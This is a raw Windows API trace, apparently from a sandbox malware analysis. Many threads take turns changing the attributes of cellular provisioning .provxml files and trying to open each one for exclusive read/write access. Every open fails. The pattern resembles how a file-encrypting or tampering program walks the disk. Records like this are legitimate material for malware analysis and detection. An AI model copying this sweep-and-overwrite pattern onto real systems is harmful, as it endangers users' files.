(Status=0x0) Thread: id = 2913 os_tid = 0xf60 [0180.159] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\339__connections_cellular_vodafone p (portugal)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.160] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.160] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\339__connections_cellular_vodafone p (portugal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.160] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.160] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30456b8) returned 1 [0180.160] RtlExitUserThread (Status=0x0) Thread: id = 2914 os_tid = 0xf64 [0180.161] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\33__connections_cellular_azerfon (azerbaijan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.162] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.162] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\33__connections_cellular_azerfon (azerbaijan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.162] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.162] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044948) returned 1 [0180.162] RtlExitUserThread (Status=0x0) Thread: id = 2915 os_tid = 0xf68 [0180.163] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\340__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0180.164] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.164] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\340__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.164] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054968) returned 1 [0180.164] RtlExitUserThread (Status=0x0) Thread: id = 2916 os_tid = 0xf6c [0180.165] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\341__connections_cellular_claro (puerto rico)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.165] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.165] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\341__connections_cellular_claro (puerto rico)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.165] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.166] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045000) returned 1 [0180.166] RtlExitUserThread (Status=0x0) Thread: id = 2917 os_tid = 0xf70 [0180.167] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\342__connections_cellular_claro (puerto rico)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.167] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.167] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\342__connections_cellular_claro (puerto rico)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.167] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.167] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045158) returned 1 [0180.167] RtlExitUserThread (Status=0x0) Thread: id = 2918 os_tid = 0xf74 [0180.168] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\343__connections_cellular_q-tel (qatar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.168] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.168] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\343__connections_cellular_q-tel (qatar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.169] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.169] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02d58) returned 1 [0180.169] RtlExitUserThread (Status=0x0) Thread: id = 2919 os_tid = 0xf78 [0180.170] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\344__connections_cellular_vodafone qatar (qatar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.170] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.170] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\344__connections_cellular_vodafone qatar (qatar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.170] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.170] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3043bd8) returned 1 [0180.170] RtlExitUserThread (Status=0x0) Thread: id = 2920 os_tid = 0xf7c [0180.171] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\345__connections_cellular_vodafone qatar (qatar)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.171] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.171] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\345__connections_cellular_vodafone qatar (qatar)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.172] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.172] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044ea8) returned 1 [0180.172] RtlExitUserThread (Status=0x0) Thread: id = 2921 os_tid = 0xf80 [0180.173] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\346__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0180.174] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.174] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\346__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.175] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.175] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054e48) returned 1 [0180.175] RtlExitUserThread (Status=0x0) Thread: id = 2922 os_tid = 0xf84 [0180.188] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\347__connections_cellular_moldcell (republic of moldova)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.188] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.188] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\347__connections_cellular_moldcell (republic of moldova)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.189] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.189] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2f68) returned 1 [0180.189] RtlExitUserThread (Status=0x0) Thread: id = 2923 os_tid = 0xf8c [0180.190] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\348__connections_cellular_sfr (réunion) (france)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.190] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.190] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\348__connections_cellular_sfr (réunion) (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.190] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.190] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3043fe0) returned 1 [0180.190] RtlExitUserThread (Status=0x0) Thread: id = 2924 os_tid = 0xf90 [0180.191] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\349__connections_cellular_sfr (réunion) (france)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.191] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.192] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\349__connections_cellular_sfr (réunion) (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.192] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.192] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30452b0) returned 1 [0180.192] RtlExitUserThread (Status=0x0) Thread: id = 2925 os_tid = 0xf98 [0180.193] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\34__connections_cellular_batelco (bahrain)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.193] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.193] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\34__connections_cellular_batelco (bahrain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.193] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.194] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044bf8) returned 1 [0180.194] RtlExitUserThread (Status=0x0) Thread: id = 2926 os_tid = 0xf9c [0180.195] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\350__connections_cellular_sfr (réunion) (france)_i2$(__mvid)@wap.provxml")) returned 0x20 [0180.195] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.195] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\350__connections_cellular_sfr (réunion) (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.196] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.196] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045408) returned 1 [0180.196] RtlExitUserThread (Status=0x0) Thread: id = 2927 os_tid = 0xfa0 [0180.197] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\351__connections_cellular_sfr (réunion) (france)_i3$(__mvid)@wap.provxml")) returned 0x20 [0180.197] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.197] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\351__connections_cellular_sfr (réunion) (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.197] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.197] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044540) returned 1 [0180.197] RtlExitUserThread (Status=0x0) Thread: id = 2928 os_tid = 0xfa4 [0180.198] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\352__connections_cellular_orange (romania)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.199] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.199] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange 